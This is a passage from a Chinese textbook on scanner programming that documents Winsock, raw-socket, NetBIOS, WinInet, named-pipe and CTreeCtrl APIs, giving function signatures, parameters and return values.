WSACleanup函数完成与socket库绑定的解除，并释放socket库所占用的系统资源。该函数应该作为某次socket操作的最后一个函数，否则之后任何socket操作都会导致出错。

返回值：如果调用正确，则返回0；否则会返回SOCKET_ERROR。可以通过WSAGetLastError函数读取对错误信息的进一步描述，通常的错误码有：
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3.socket函数



SOCKET socket(

int af,

int type,

int protocol

);



socket函数创建一个socket套接字。该函数相对简单，但却非常重要，因为这个函数是后面各种操作的基础。还有一点必须要提出的是，该协议中type字段将直接决定后面所建立的连接是面向连接的（TCP连接），还是面向非连接的（UDP连接），这将直接影响后续所有该socket的操作。

返回值：如果创建成功，则返回一个socket套接字（可以认为是一个句柄）；否则返回INVALID_SOCKET。如果想知道详细错误信息，可以通过调用WSAGetLastError函数获得进一步的解释：
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参数如下：

❑af：网络通信协议族，一般情况下用AF_INET，表示选择IPv4协议。

❑type：指明协议的采用连接类型，在Windows Sockets 1.1中只支持以下几种：
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Windows Sockets 2及以后，还支持很多种类型，可以通过WSAEnumProtocols函数读取。

❑protocol：指定要用的协议。如果第二个参数type不是SOCK_RAW，则此参数一般是0，表示采用默认协议。如果type是SOCK_RAW，则此参数就可以指定相应的协议，比如IPPROTO_IP表示采用IP协议，IPPROTO_ICMP表示采用ICMP协议。

4.closesocket函数



int closesocket(

SOCKET s

);



closesocket关闭之前打开的socket套接字。在进行关闭之前，一般要通过shutdown函数通知对方自己要关闭套接字。

返回值：如果关闭成功，则返回0；否则返回SOCKET_ERROR。如果想知道详细错误信息，可以通过调用WSAGetLastError函数获得进一步的解释。常见的错误码参见第3小节，还有不同的错误码如下：
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参数：s，之前打开的socket套接字。

5.setsockopt函数



int setsockopt(

SOCKET s,

int level,

int optname,

const char FAR*optval,

int optlen

);



setsockopt函数设置一个socket的参数选项。通常情况下，默认的选项就够用，但扫描器本身的特点是，几乎每一个程序都需要修改其默认的选项，所以该函数也是socket中一个重要的函数。在调用顺序上，如果setsockopt函数在bind函数之前，则设置的项会直到bind函数时才有效。即使setsockopt功能成功，bind函数也会因为setsockopt函数过早调用而失败。

与setsockopt作用相反的一个函数是getsockopt，getsockopt函数的功能是读取一个socket的参数选项，由于其函数参数项数目和各项的意义与setsockopt一样，所以此处不再重复。

返回值：如果调用成功，则返回0；否则返回SOCKET_ERROR。可以通过调用WSAGetLastError获得对错误信息进一步的解释。常见的错误码有：
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参数如下：

❑s：由socket函数创建的socket套接字。

❑level：设置选项所定义的级别，当前支持的级别主要有SOL_SOCKET，IPPROTO_TCP和IPPROTO_IP，分别对应于应用层、传输层（TCP）和网络层（IP）的设置。

❑optname：要设置的选项。这些选项参数一次只能设置一个，所以要同时设置两个或两个以上参数时，需要多次重复调用setsockopt函数，并在每次调用时设置一个参数，如果连续重复设置同一个参数，则以最后一次的设置为有效设置。这些选项参数有：
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❑optval：一个指向选项值的指针，具体的值由optname决定。

❑optlen：一个指向选项值长度的指针。

6.select函数



int select(

int nfds,

fd_set FAR*readfds,

fd_set FAR*writefds,

fd_set FAR*exceptfds,

const struct timeval FAR*timeout

);



select函数的作用是监视阻塞状态下端口的状态，如当前是否有数据到达，从而进入读端口的状态。需要说明的是select函数在Windows下和在Linux下使用方法有一定差别。select函数最重要的作用是通过readfds参数判断当前socket是否有数据到达，如果到达则转入读状态，否则继续空转或处理其他事务。本书较少采用这一功能来判断是否要数据到达，而是采用阻塞读取，直至超时后退出阻塞的方式。考虑到本书只有少数地方使用到此函数，所以在此只稍做介绍。

返回值：如果调用成功，则返回所监视的端口处于“准备”（ready）状态的socket句柄个数，并且将这些句柄保存在一个fd_set结构中；如果超时，则返回0；否则返回SOCKET_ERROR。可以通过WSAGetLastError函数获得对错误信息的进一步解释，错误码参见第5小节，不同的错误码如下：
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参数如下：

❑nfds：在很多Linux版本下，该参数用于表示监视的句柄个数；在Windows下，该参数被忽略，系统会自动选择合适的数。

❑readfds：指向要监视的可读句柄集合。

❑writefds：指向要监视的可写句柄集合。

❑exceptfds:指向要监视的异常句柄集合。

❑timeout：最大的超时值，该值指向一个TIMEVAL结构，如果设置为NULL，则表示进入该函数阻塞状态，直到读到结果或超时。

7.bind函数



int bind(

SOCKET s,

const struct sockaddr FAR*name,

int namelen

);



bind函数可以将一个本地的地址与socket套接字进行绑定。一旦绑定成功，则此后该socket的操作将与该地址有关。该函数既可用于面向连接的TCP通信中，也可以用于面向非连接的UDP通信中。

返回值：如果调用成功，则返回0；否则返回SOCKET_ERROR。可以通过WSAGetLastError函数获得对错误信息进一步的解释。

参数如下：

❑s：由socket函数创建的socket套接字。

❑name：分配给该sockdet套接字的一个地址SOCKADDR结构。

❑namelen：SOCKADDR结构的长度。

8.listen函数



int listen(

SOCKET s,

int backlog

);



listen函数使用socket状态监听状态，并等待其他socket的连接。该函数仅用于面向连接的TCP通信中，UDP通信是不需要listen函数的。

返回值：如果调用成功，则返回0；否则返回SOCKET_ERROR。可以通过调用WSAGetLastError获得对错误信息的进一步描述。常见的错误码参见第5小节，不同的错误码如下：
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参数如下：

❑s：指向一个由socket函数创建的socket套接字。

❑backlog：能连接的最大客户端数。如果设置成SOMAXCONN，则服务提供者尽可能地创建最大的值。

9.accept函数



SOCKET accept(

SOCKET s,

struct sockaddr FAR*addr,

int FAR*addrlen

);



accept函数允许和接收一个远端的连接，该函数仅用于面向连接的TCP通信中，并且只用于服务器端，用于接收客户端通过connect函数发来的连接申请；面向非连接的UDP通信是不需要处理此函数的。

调用成功后，该函数将会处于阻塞状态，直到有远端的连接，才会返回。从外表上看，程序很像是死掉了，因此除非程序本身没有要求，否则一般建议将此函数放入线程中使用，以避免整个程序像“僵死”一样。

该函数看似简单，其实比较复杂，也是多线程处理效果的关键，首先调用此函数之前，应该已成功地调用了listen函数。然后在调用该函数时，如果调用成功，则返回一个新的socket，所以如果后面服务端的处理很简单，可以在当前线程中用这个新创建的socket进行处理，俗称“短连接”；如果处理很复杂，并且仍在当前线程中处理，则会影响到accept函数对其他线程通过connect进行连接，此时就需要再创建一个线程，由新建的线程，并使用返回的一个socket专门处理此次连接后的各项操作，俗称“长连接”。

返回值：如果调用成功，则返回接收远端通过connect连接后，新创建的一个socket；否则返回INVALID_SOCKET，并且可以通过WSAGetLastError函数获得对错误信息的进一步描述。

需要说明的是，新创建的socket与原有socket具有相同的属性，因此不必再初始化。

常见的错误码参见第5小节，不同的错误码如下：
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参数如下：

❑s：指向一个由socket函数创建的socket套接字。

❑addr：连接一个sockaddr结构的指针，该指针中保存着远端socket的一些信息。如果该值设置成NULL，则表示用户对谁建立的连接并不感兴趣，而只处理内容。其中的sockaddr结构详见前面结构描述。

❑addrlen：sockaddr结构的长度，调用之后，函数会返回实际需要的长度。如果该值设置成NULL，则表示用户对谁建立的连接并不感兴趣，而只处理内容。

10.connect函数



int connect(

SOCKET s,

const struct sockaddr FAR*name,

int namelen

);



connect函数以客户端的身份与远端主机建立连接。在扫描器的应用中，connect是一种简单而有效的连接方式，连接成功，则可以认为对方的端口是打开的。该函数仅用于面向连接的TCP通信中，并且只用于服务器端，用来接收客户端通过connect函数发来的连接申请；面向非连接的UDP通过是不需要处理此函数的。

返回值：如果调用成功，则返回0；否则返回SOCKET_ERROR。并且可以通过WSAGetLastError函数获得对错误信息的进一步描述。常见的错误码有：
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参数如下：

❑s：指向一个由socket函数创建的socket套接字。

❑name：指向一个sockaddr的结构指针，该结构中保存了要连接的远端主机的IP地址和端口。其中的sockaddr结构详见前面结构描述。

❑addrlen：sockaddr结构的长度，调用之后，函数会返回实际需要的长度。如果该值设置成NULL，则表示用户对谁建立的连接并不感兴趣，而只处理内容。

11.send函数



int send(

SOCKET s,

const char FAR*buf,

int len,

int flags

);



send函数发送数据到已建立连接的socket上，该函数既可以用于服务器端，也可以用于客户端，但双方都必须是采用TCP连接。

返回值：如果调用成功，则返回实际发送的字节数；否则返回SOCKET_ERROR。并且可以通过WSAGetLastError函数获得对错误信息的进一步描述。常见的错误码参见第10小节，不同的错误码如下：
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参数如下：

❑s：指向一个由socket函数创建的socket套接字。

❑buff：指向一个发送缓冲区的指针。

❑len：buff缓冲区的长度，以字节为单位。

❑flags：发送的方法，一般置0。

12.recv函数



int recv(

SOCKET s,

char FAR*buf,

int len,

int flags

);



recv函数用于接收从已建立连接的socket上的数据，该函数既可以用于服务器端，也可以用于客户端，但双方都必须是采用TCP连接。参数与上节大同小异。

返回值：如果调用成功，则返回实际接收到的字节数；否则返回SOCKET_ERROR，并且可以通过WSAGetLastError函数获得对错误信息的进一步描述。常见的错误码参见第10小节，不同的错误码如下：
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13.shutdown函数



int shutdown(

SOCKET s,

int how

);



shutdown函数禁止当前的发送或接收。对该函数关注的不多，所以可以看到很多程序在关闭socket的时候，在收发完成后，直接就调用closesocket函数了，这样做有的时候会使对方仍处于连接中，而已方已断开。

返回值：如果调用成功，则返回0；否则返回SOCKET_ERROR，并且可以通过WSAGetLastError函数获得对错误的进一步描述。常见的错误码参见第5小节。

参数如下：

❑s：要停止发送或接收的socket。

❑how：要关闭的类型，其中how的取值可以是：
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14.sendto函数



int sendto(

SOCKET s,

const char FAR*buf,

int len,

int flags,

const struct sockaddr FAR*to,

int tolen

);



sendto函数发送数据报到远端的主机指定的端口上。该函数只能用于面向非连接的通信中。

返回值：如果调用成功，则返回实际发送的字节数；否则返回SOCKET_ERROR，并且可以通过WSAGetLastError函数获得对错误信息的进一步描述。常见的错误码参见第10小节，不同的错误码如下：
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参数如下：

❑s：指向一个由socket函数创建的socket套接字。

❑buf：指向一个接收缓冲区的指针。

❑len：buff缓冲区的长度，以字节为单位。

❑flags：发送的方法，一般置0。

❑to：要发送的目标主机IP和端口，该指针指向一个sockaddr结构，该结构的详细说明在前面结构说明中。

❑tolen：sockaddr结构的长度。

15.recvfrom函数



int recvfrom(

SOCKET s,

char FAR*buf,

int len,

int flags,

struct sockaddr FAR*from,

int FAR*fromlen

);



recvfrom函数接收远端发过来的数据报。该函数只能用于面向非连接的通信中。

返回值：如果调用成功，则返回实际接收的字节数；否则返回SOCKET_ERROR，并且可以通过WSAGetLastError函数获得对错误信息的进一步描述。常见的错误码参见第10小节，不同的错误码如下：
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参数如下：

❑s：指向一个由socket函数创建的socket套接字。

❑buf：指向一个发送缓冲区的指针。

❑len：buff缓冲区的长度，以字节为单位。

❑flags：接收的方法，一般置0。

❑from：向本身发送数据包的源主机IP和端口，该指针指向一个sockaddr结构，该结构的详细说明在前面结构说明中。

❑fromlen：sockaddr结构的长度。

2.1.1.5　原始套接字

上述Socket函数介绍中，提到一个原始套接字（Raw Socket），如果不使用原始套接字，则无论是发送和接收，系统都会自动处理IP包头、TCP/UDP包头的数据，这时用户只需要关心发送和接收的数据本身即可。这种自动处理虽然方便，但也使系统失去了灵活性。而当使用原始套接字时，如果发送数据，系统会将要发送的数据包的前面若干字节数据IP头、TCP/UDP头；如果接收数据，系统会将接收到的数据包前面加上数据IP头、TCP/UDP头。

在所有扫描实例中，绝大多数都是扫描器主动发起探测，但也有少部分扫描器是坐等接收信息，然后对被动接收的数据进行分析，从而得出结论。而这些应用在后面会广泛使用，故在这些专门列出。

该功能只能用于Windows 2000/XP及以后的版本中。在Windows 95/98/Me/NT中无法使用，如果确实要使用，只能使用“钩子”（hook）技术，直接从网卡驱动程序中进行截取。

1.原始套接字的发送

原始套接字的发送很简单，但实际编写却很麻烦，这主要是因为需自己填充IP头和TCP头的数据内容，并分别计算IP头和TCP头的校验和。由于不再使用Socket提供的IP和TCP头，所以需要通过setsockopt函数告诉系统使用自己定义的IP和TCP头，并且虽然所填的是面向连接的TCP头，仍然要使用UDP所专用sendto函数，而不是使用send函数，如图2.2所示。
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图　2.2　原始套接字的发送流程图

2.原始套接字的接收

原始套接字的接收相对复杂，步骤较多，但通常情况下，只要按如图2.3所示的步骤操作即可，每个步骤只有一两行语句，不像“原始套接字的发送”中的填充IP和TCP头那样需要很多行。其中的WSAIoctl函数的SIO_RCVALL参数表示接收经过本机网卡的所有数据包。
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图　2.3　原始套接字的接收流程图


2.1.2　NetBIOS/NetBEUI协议编程

“网络基本输入/输出系统”（Network Basic Input/Output System，NetBIOS）是一种标准的应用程序编程接口（Application Programming Interface，API），于1983年由Sytek公司专为IBM开发的网络通信编程接口。1985年，IBM在NetBIOS的基础上进行了扩展，创制了NetBIOS扩展用户接口（NetBIOS Extended User Interface，NetBEUI），它同NetBIOS接口集成后，共同构成了一套完整的协议。该协议不是一个能应用于广域网的协议，但考虑到其后来广泛的应用，所以很多厂商都在TCP/IP或IPX/SPX协议之上集成了NetBIOS编程接口。在Windows系列版本中几乎全部都支持NetBIOS接口。

NetBEUI是非路由协议，这种缺乏路由和网络层寻址功能，既是优点，也是缺点。优点在于其格式简单，因为不需要附加的网络地址和网络层数据包，所以数据传输效率高；缺点是这样的设计使其只能适用于局域网。

早期的Windows 98/NT系统中，NetBEUI是作为一个单独的协议，可以被用户选择安装，来实现局域网的数据通信的，之后的操作系统则直接将其集成到了操作系统中，不再单独供用户安装。

2.1.2.1　NetBIOS开发简介

NetBIOS协议既可以是一个面向连接的数据包服务，也可以是面向非连接的对话服务。如前所述，早期的NetBIOS只适用于局域网中，本身不存在路由功能，并且总节点数据有限，因此，现在没有多大的应用市场。但其设计中还是有很多可取处，为了在企业网Intranet和互联网Internet中也能使用NetBIOS，人们开发了NBT（NetBIOS over TCP），该接口是将NetBIOS运行在TCP协议上，将NetBIOS的协议数据包内容作为TCP/IP协议的数据，通过TCP/IP协议提供的路由功能，送到目标主机后，再将TCP/IP协议中的“数据”还原成NetBIOS协议内容，然后再使其在目标主机上得到应用。这种“协议A-协议B-协议A”的模式称为“隧道技术”（Tunnelling Technology）。

在NetBIOS的开发中，主要涉及如下几个概念。

1.名字注册与注销

当一台安装有NetBIOS协议的主机申请加入某一网络时，首先通过广播寻找NetBIOS名称服务器（NetBIOS Name Server），并同时向该服务器注册自己的“NetBIOS名称”。该名称通常是一个16个字节组成的字符串，一般来说，一个主机有多少服务或多少属性，就要同时注册多少个NetBIOS名称，在Windows操作系统中，该名称通常是主机名或工作组名。（在命令行，输入"nbtstat-n"可以显示本机所有注册的NetBIOS名称，第4章的4.1节“NetBIOS协议的使用”中，对NetBIOS名称有较详细的介绍。）

当主机要退出网络时，会同样通过广播向NetBIOS名称服务器发送一个名称注销申请，名称服务器接到注销申请后将自己维护的名称列表中相应项进行清除。

在一个网络中，同时每台主机只能有唯一的注册名称，当出现重名时，采用“先入为主”的原则，谁先注册谁先使用，后者在前者注册后再注册就会失败，此时后者只能改名，或等前者注销后再使用。

2.名称解析

当一个NetBIOS主机想和另一个NetBIOS主机通信时，首要的问题就是找到对方（也包含知道对方是否在网中），并通知对方要进行通信。实现这一功能可以通过广播的方式在网内通知所有主机，然后通过回复获知，也可以通过向NetBIOS名称服务器提出查询请求来实现。

对于网络扫描器，更关注的则是由NetBIOS扩展到NBT之后的变化，这些变化主要体现在后者结合了TCP/IP的很多概念，在NBT中，NetBIOS名称解释服务采用UDP端口137。与此同时，为了保持和其他操作系统NetBIOS兼容，Windows同时也提供了一个文件（Windows XP默认安装下，文件是C:\WINDOWS\system32\drivers\etc\lmhost.sam），在该文件中，用户可以直接定义已知的NetBIOS所对应的IP。（详细介绍参见第4章的4.1节“NetBIOS协议的使用”。）

3.NetBIOS数据包

NetBIOS数据包服务提供无连接的、非顺序的、不可靠的数据包传送。因而数据包既可以直接向另一个NetBIOS主机发送，也可以通过广播方式传送所有主机。通过广播方式发送的数据包，各主机都可以接到，但只有是自己的数据包才处理，由此可见，该方式不仅占用了大量的带宽，也在安全上大打折扣。在NBT中，NetBIOS数据包服务采用UDP端口138。

4.NetBIOS对话

NetBIOS对话服务提供连接导向的、顺序的、可靠的NetBIOS信息传送。在NBT中，NetBIOS对话采用TCP连接，提供对话创建，保持和终止状态。对话服务允许在两个方向上采用TCP端口139进行并发的数据传输。

2.1.2.2　NetBIOS的调用

处在不同编程层次，对NetBIOS的调用函数名是不相同的，但无论采用哪个层次使用NetBIOS，调用的结果都是一样的，根据调用的层次不同，可以把NetBIOS的调用分成从低到高的三个级别：汇编级、Windows API函数级和封装后的Windows API调用，虽然从结果上这三个级别上的调用都是殊途同归，但很明显的一个事实上，级别越低，调用效率越高，越容易对低层次进行设置、修改，满足各种特殊要求；调用级别越高，调用效率就越低，使用的参数限制越多，但使用更透明，即使是初学者也可以很快学会使用，但无法使用一些非常规的调用或对低层次进行设置、修改。

无论应用程序在哪个层次中调用，最终都只使用一个Netbios函数（注意大小写，不是NetBIOS），一套协议中所有功能都只用一个函数实现，这在诸多协议中是很少见的。该函数的原型是：



UCHAR Netbios(

PNCB pncb

);



Netbios函数解析和执行由网络控制块（NCB，Network Control Block）所指定的命令。虽然系统在执行此函数的时候，会根据其中命令结构成员的需要查找与该命令相关的结构成员值，但其余与该命令不相关的结构成员也建议都设为0。该函数需要平台的支持，所以要使用此函数有代码前面需要包含头文件Nb30.h，并且链接静态链接库文件Netapi32.lib。

返回值：如果NCB结构中，各成员的值互相矛盾，或不是合理的值，则返回NRC_BADNCB。如果NCB结构成员中，成员ncb_length的值不正确，或成员ncb_buffer无效，则返回NRC_BUFLEN。

在上述命令都是正确的前提下，如果是面向同步的命令，返回码是NCB结构中，ncb_retcode成员的值。如果是面向异步的命令，则要再看进一步的情况，如果异步命令已完成，则返回NCB结构中，ncb_retcode成员的值；如果异步命令正在进行中，则返回0。

参数pncb：指向一个NCB结构的指针。

在该函数中，用一个NCB结构来完成所有命令，该结构是一个64字节的缓冲区（64位的操作系统中是72个字节，本处不讨论），该结构的定义如下：



#define NCBNAMSZ 16

typedef struct_NCB{

UCHAR ncb_command;

UCHAR ncb_retcode;

UCHAR ncb_lsn;

UCHAR ncb_num;

PUCHAR ncb_buffer;

WORD ncb_length;

UCHAR ncb_callname[NCBNAMSZ];

UCHAR ncb_name[NCBNAMSZ];

UCHAR ncb_rto;

UCHAR ncb_sto;

void(CALLBACK*ncb_post)(struct_NCB*);

UCHAR ncb_lana_num;

UCHAR ncb_cmd_cplt;

UCHAR ncb_reserve[10];

HANDLE ncb_event;

}NCB,*PNCB;



NCB结构作为网络控制块，包含命令的所有信息，但具体到每一个命令的时候，并不是每一个成员都会被用到，但即使这样，同样建议将其余不用的成员都设置为0，一个有效的办法就是在设置成员之前，先将整个结构都清0，然后再按需要设置相应成员的值。

NCB命令分为同步命令和异步命令，异步命令在调用结束后即返回，同步命令则需要等命令完成或超时后才返回。如果设定无超时，且该命令本身执行的很长，函数就会像“卡死”一样，这时可以通过复位（NCBRESET）、取消（NCBCANCEL）和断开（NCBUNLINK）等命令中断该状态，但这需要通过另外的线程来完成（因为当前进程已因同步而“卡死”），为了避免这种情况，建议将除了复位、取消和断开之外的所有命令都设置为异步操作。

结构成员如下：

❑ncb_command：命令码。指出该NCB所完成的功能，其余各成员是否使用，以及要设置成什么值则完全取决于该命令码。除了命令码之外，该值还可以通过操作符“|”与ASYNCH进行“逻辑或”操作，指定是否使用同步操作。可取的命令码主要有：
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❑ncb_retcode：命令返回码，如果是同步命令，并且还没有结束，则该值被设为NRC_PENDING；否则返回如下值之一：
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❑ncb_lsn：本地对话序号，通过NCBCALL命令可以获得本地对话序号。

❑ncb_num：本地网络名称的数量。通过NCBADDNAME或NCBADDGRNAME命令可以获得网络名称的数量。注意，这里的数量，而不是网络名称本身。并且NAME_NUMBER_1代表第一个网络名称。

❑ncb_buffer：指向一个缓冲区，当作发送功能（NCBSEND）时，该指向指向所发送的数据；当作接收功能（NCBRECV）或查询命令（NCBSSTAT）时，命令将读后的值放到这个指向所指向的缓冲区中。

❑ncb_length：ncb_buffer的长度，以字节为单位。当作发送功能（NCBSEND）时，如果该长度不对，则返回NRC_BUFLEN错误；当作接收功能（NCBRECV）功能时，如果所设的长度不足以装下所返回的值，则系统会设定实际所需要的长度。

❑ncb_callname：指向远端名称，该名称最大长度为NCBNAMSZ。并且不能按普通字符串处理方式处理，详细格式说明可参见4.1节“NetBIOS协议的使用”中的说明。

❑ncb_name：指向本地名称，该名称最大长度为NCBNAMSZ。对其格式的解释参见结构成员ncb_callname的解释。

❑ncb_rto:设定接收超时值。该值以500毫秒为一个单位，实际的超时值为所设值乘以500，如果设为0，表示没有超时值，一直等到有可接收的数据。该命令主要应用于NCBRECV命令中。

❑ncb_sto：设定发送超时值。同ncb_rto一样，所设值乘以500毫秒作为超时值，0代表没有超时值，直到发送成功返回。该命令主要应用于NCBSEND和NCBCHAINSEND命令中。

❑ncb_post：同步命令完成时，要通知的线程地址。

❑ncb_lana_num：执行本次命令的网卡序号。

❑ncb_cmd_cplt：命令完成标志。该值与ncb_retcode member相似。

❑ncb_reserve：保留，必须为0。

❑ncb_event：指向一个事件句柄，当同步命令完成时，会复位该事件句柄。如果是异步命令（即命令码ncb_command没有与ASYNCH进行“逻辑或”操作），则必须设置为0。

通过对上述介绍，不难发现，表面看NetBIOS只有一个Netbios函数，但实际使用中，该命令的各项功能取决于其中各参数的不同组合，因此其复杂程序也不亚于其他协议。正是因为此，Windows在此基础上，通过更多的API包装了NetBIOS的Netbios函数，该些函数也因功能不同而不同，对于NetBIOS/NetBEUI编程在后续章节中，比较集中于第4章“NetBIOS扫描器的设计”，因此对于封装后的API函数，以及各函数的使用方法详见第4章内容。


2.1.3　Win Inet高层编程

鉴于TCP/IP协议族的重要性，前面详细介绍了其函数中最重要的几个，用这些函数加上高层协议组包理论上可以做任何基于TCP/IP协议的应用了。但在实践中，还是发现底层和较低层的操作模式相似，高层却要考虑各种细节。为此，API的提供者也向编程人员提供了高层的应用开发，在高层中，用户可以找到各种感兴趣的应用，此时的编程人员一般不需要考虑信息是在什么样的网络结构上运行了，而只需要将重点放在协议信息包的要求和传输命令格式上。

在这一层中，主要提供如下服务：

❑WWW（World Wide Web：万维网服务）：这种服务占用端口80。这种服务的实现得益于一种由叫做“超链接”（Hyperlinks）的概念而转化的应用，使人们真正开始认识互联网，它打破了上网用户必须记一些命令的格式和顺序的限制，即使第一次上网，用户可以很方便地从世界上任何一个角落到达另外一个角落而几乎不需要记忆任何复杂的命令。短短几年，这种方式已成为上网的主要方式，甚至使一些初学上网的人认为上互联网就是上WWW网。

❑FTP（File Transfer Protocol：文件传输协议）：这种服务占用端口21。文件传输协议使网上的文件从网络一端到另一端，而用户不需要考虑中间经过哪里，对方的操作系统是什么，网络是什么架构等细节。可以说，FTP是互联网上，最早的应用之一。虽然该应用只需要用户记住仅有的几个主要命令即可，但毕竟还是会把很多初学者拒之门外，所以虽然FTP目前仍然应用广泛，但很少把该应用作为一个标准的应用对外开放，而是将其内嵌于其他应用中使用。

❑Gopher（Gopher Protocol）：早期的网络的使用，特别是WWW服务产生之前，几乎只是技术人员的专利，用户不仅要记住要一个个网址，还要记住所需要的资源的位置，并定期到一个个网址中查看所需要的资源是不是更新。为了解决这一问题，网络协议设计者设计了Gopher协议，该协议通过某种层次索引技术，将互联网上各服务器上提供的资源分类、汇总。用户需要通过菜单式地检索，就可以快速地定位到自己想要的资源，而不需要刻意记忆资源的位置和确切的名称。可以说Gopher是早期互联网资源检索的先驱。随着WWW技术出现，这种只有文字的检索技术和应用渐渐淡出互联网的舞台。

以上三种协议的编程，Windows的开发者分别提供了比Socket更高层的编程接口，统称为Win Inet高级编程。通过对这些接口API的调用，使程序员可以从底层Socket的接口中脱离出来，而只需要关心高层WWW、FTP、Gopher协议的具体内容即可，大大提高了开发效率。同样，也可以利用其提供的接口，做出简单明了的扫描器。

由于基于Win Inet的高层编程，相当于直接针对应用，所以将由这些API开发的程序统一归于第8章“基于应用的服务扫描器的设计”中，故这些接口的详细内容及扫描器编程方法详见第8章内容。


2.1.4　命名管道和邮槽高层编程

对于Socket编程，无论是基于面向连接的，还是面向非连接的，其实都有一个固定的编程框架。在此框架下，所需要做的只是高层上基于应用的开发，既然这样，理所当然地可以构想一种机制，能在“封装”（这里的封装不是面向对象的封装）了这个框架的基础上，只向用户提供基于高层协议的开发，而命名管道（Named Pipe）和邮槽（Mailslot）正是针对这一构想而设计的。

命名管道可以在同一台计算机的不同进程之间，或在跨越一个网络的不同计算机的不同进程之间进行有连接的可靠数据通信，命名管道其实就是对TCP协议的一种更高层的封装，这种封装可以使使用者不必关心TCP协议中的各项控制细节，而只需要知道主要的几个参数，就可以方便地在多台主机之间进行面向连接的可靠通信。

邮槽则是对UDP协议的一种更高层的封装（同样不是以面向对象的方式实现的），这种封装可以使使用者将消息传送或广播给一个或多个其他邮槽主机。由于邮槽是围绕一个广播通信体系设计的，所以不能实现可靠传输，只能应用在那种对数据传输的可靠性要求不高的地方。邮槽最大的缺点是，只允许从客户端到服务器建立一种不可靠的单向数据通信。

命名管道和邮槽都是一种高层应用，二者具有相似的操作模式，都采用UNC（Universal Naming Convention，通用命名规则）命名，即“\\＜服务器＞\＜pipe|mailslot＞\[路径名\]＜资源名＞”，都是由服务器方创建一个命名管道或邮槽名称，其他主机使用该名称。

需要说明的是，考虑到基于TCP/IP协议的互联网的应用遍布全书，所以此处称命名管道和邮槽是基于TCP/IP协议的，但实际上，这两种网络通信技术都在支持TCP或UDP的同时，还支持IPX等其他多种底层协议，并且，使用命名管道或邮槽编程甚至不需要知道其底层使用的是什么协议。

在扫描器的设计中，命名管道和邮槽的作用虽然应用领域不是十分广泛，但在某些特殊领域内又极具特效。在第9章“命名管道扫描器的设计”中，将详细介绍这种技术下，基于命名管道或邮槽的特殊扫描器。

本章随后的2.3节“嵌入外部程序”中会提到管道技术，本处的命名管道是其管道技术中的一个特例。


2.2　扫描器中公用编程示例

本书是一本以实践为主的书，各章节不仅仅是讲一些扫描原理，更重要的是要验证这一原理，所涉及的各种技术和技巧都以实例进行说明。但作为一个完整的程序，必然有一些共同的代码，同时，由于同为扫描器，所以又会有一些相似或相近的代码，这些代码如果全部原样照搬，则会使读者还要花时间定位要找的内容，如果只是附上关键代码，则一些相关的变量、控件由于没有被说明，但却出现在关键代码中，使读者不所所云。为了避免上述两种现象的出现，本书采用的方式是简要介绍程序的创建过程，并在创建说明中介绍所需要创建的变量和控件。然后在程序代码中，省略那些由VC++默认生成的代码。但经过这样处理后，同样存在原理不同，代码相似的现象，这种现象会导致很多代码需要重复地解释，同样为了避免这种情况，特将这些常用的代码单列于此，并详细介绍了这些代码的使用方法和意义，在内容中酌情进行解释。建议在看后续代码之前，先看一下本章的代码及解释。

需要说明的是：目前，Windows编程中，很多程序员使用匈牙利命名法作为其变量名的命名规范。匈牙利命名法是一种编程时的命名规范，基本原则是：变量名=属性+类型+对象描述，其中每一对象的名称都要求有明确含义，可以取对象名字全称或名字的一部分。本书尽量采用此命名法，但也对其进行了一些改进，如对于CString类的变量，采用的类型是"str"前缀。

这部分内容首先介绍面广泛使用的CTreeCtrl控件和CListCtrl控件以及编程风格上的约定，考虑到这两个控件是VC++默认控件，与扫描并没有直接关系，故其中的函数只是选用了几个扫描中用到的部分。一般情况下，程序中，少量的数据可以保存在INI文件中，大量的数据可以保存在数据库中，所以这里也对程序中，数据的保存和读取进行了说明。最后，对程序中重复使用的一些技巧进行了详细的介绍。


 2.2.1　CTreeCtrl控件的应用

CTreeCtrl控件专门用于显示一些基于“树”状的数据结构。这种树状结构在自然界很普遍，一般具有传承性的自然事物，都具有这种特点。作为描述自然事物的程序，当然很多会用到这种结构，如图2.4所示。
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图　2.4　树状数据结构表现形式

在这种结构中，有一个或多个称为“根”的节点（在本例中，根节点只有一个，名称为“NetBIOS扫描[127.0.0.1]”）。在根节点上，可以有若干个分支节点（如“共享文件夹”和“用户名”）或叶子节点（如“主机名”和“当前时间”），各分支节点上还能有分支节点或叶子节点，所有分支的末端最终以叶子节点结束。

要创建这样的一个展示效果，首先需要在对话框中，放置一个CTreeCtrl树型控件，调整到合适的位置和大小，同时要声明一个CTreeCtrl的变量与此控件绑定：



CTreeCtrl m_ctlTreeResult;



默认的CTreeCtrl树型控件风格比较难看，改变其风格，可以右击控件，在弹出的菜单中选择“属性”菜单项，然后在弹出的“Tree控件属性”对话框的“风格”选项卡中选择"Has buttons"、"Has lines"、"Lines at root"三个选项，将展示效果改为如图2.4中所示的效果（其余各选项保持默认的不变）。

以此后的操作中，对m_ctlTreeResult变量的操作，就等于对界面进行操作。同时，有了这个变量，就可以定义其所有的根、分支或叶子节点了。在VC++里，所有的节点都是一个HTREEITEM的数据结构。

由于后面的程序主要是生成这样的一个树状结构，而不对其进行复杂的操作，所以这里只需要用到一个主要的函数InsertItem即可，该函数有如下几种调用方式：

1）HTREEITEM InsertItem(LPTVINSERTSTRUCT lpInsertStruct);

2）HTREEITEM InsertItem(UINT nMask,LPCTSTR lpszItem,int nImage,int nSelectedImage,UINT nState,UINT nStateMask,LPARAM lParam,HTREEITEM hParent,HTREEITEM hInsertAfter);

3）HTREEITEM InsertItem(LPCTSTR lpszItem,HTREEITEM hParent=TVI_ROOT,HTREEITEM hInsertAfter=TVI_LAST);

4）HTREEITEM InsertItem(LPCTSTR lpszItem,int nImage,int nSelectedImage,HTREEITEM hParent=TVI_ROOT,HTREEITEM hInsertAfter=TVI_LAST);

以上四个函数，功能一致，都可以增加一个节点到树状结构中。

返回值：无论哪一个调用，如果调用成功，返回的都是一个HTREEITEM变量（该变量实际就是一个句柄）；如果调用失败，返回的是一个NULL。在平时使用中，如果要插入的项是叶子节点，可以不考虑返回值，如果是根节点或分支节点，则需要保存返回的值，因为下一步在该节点下面再加入新的节点时，要用到这个返回值。

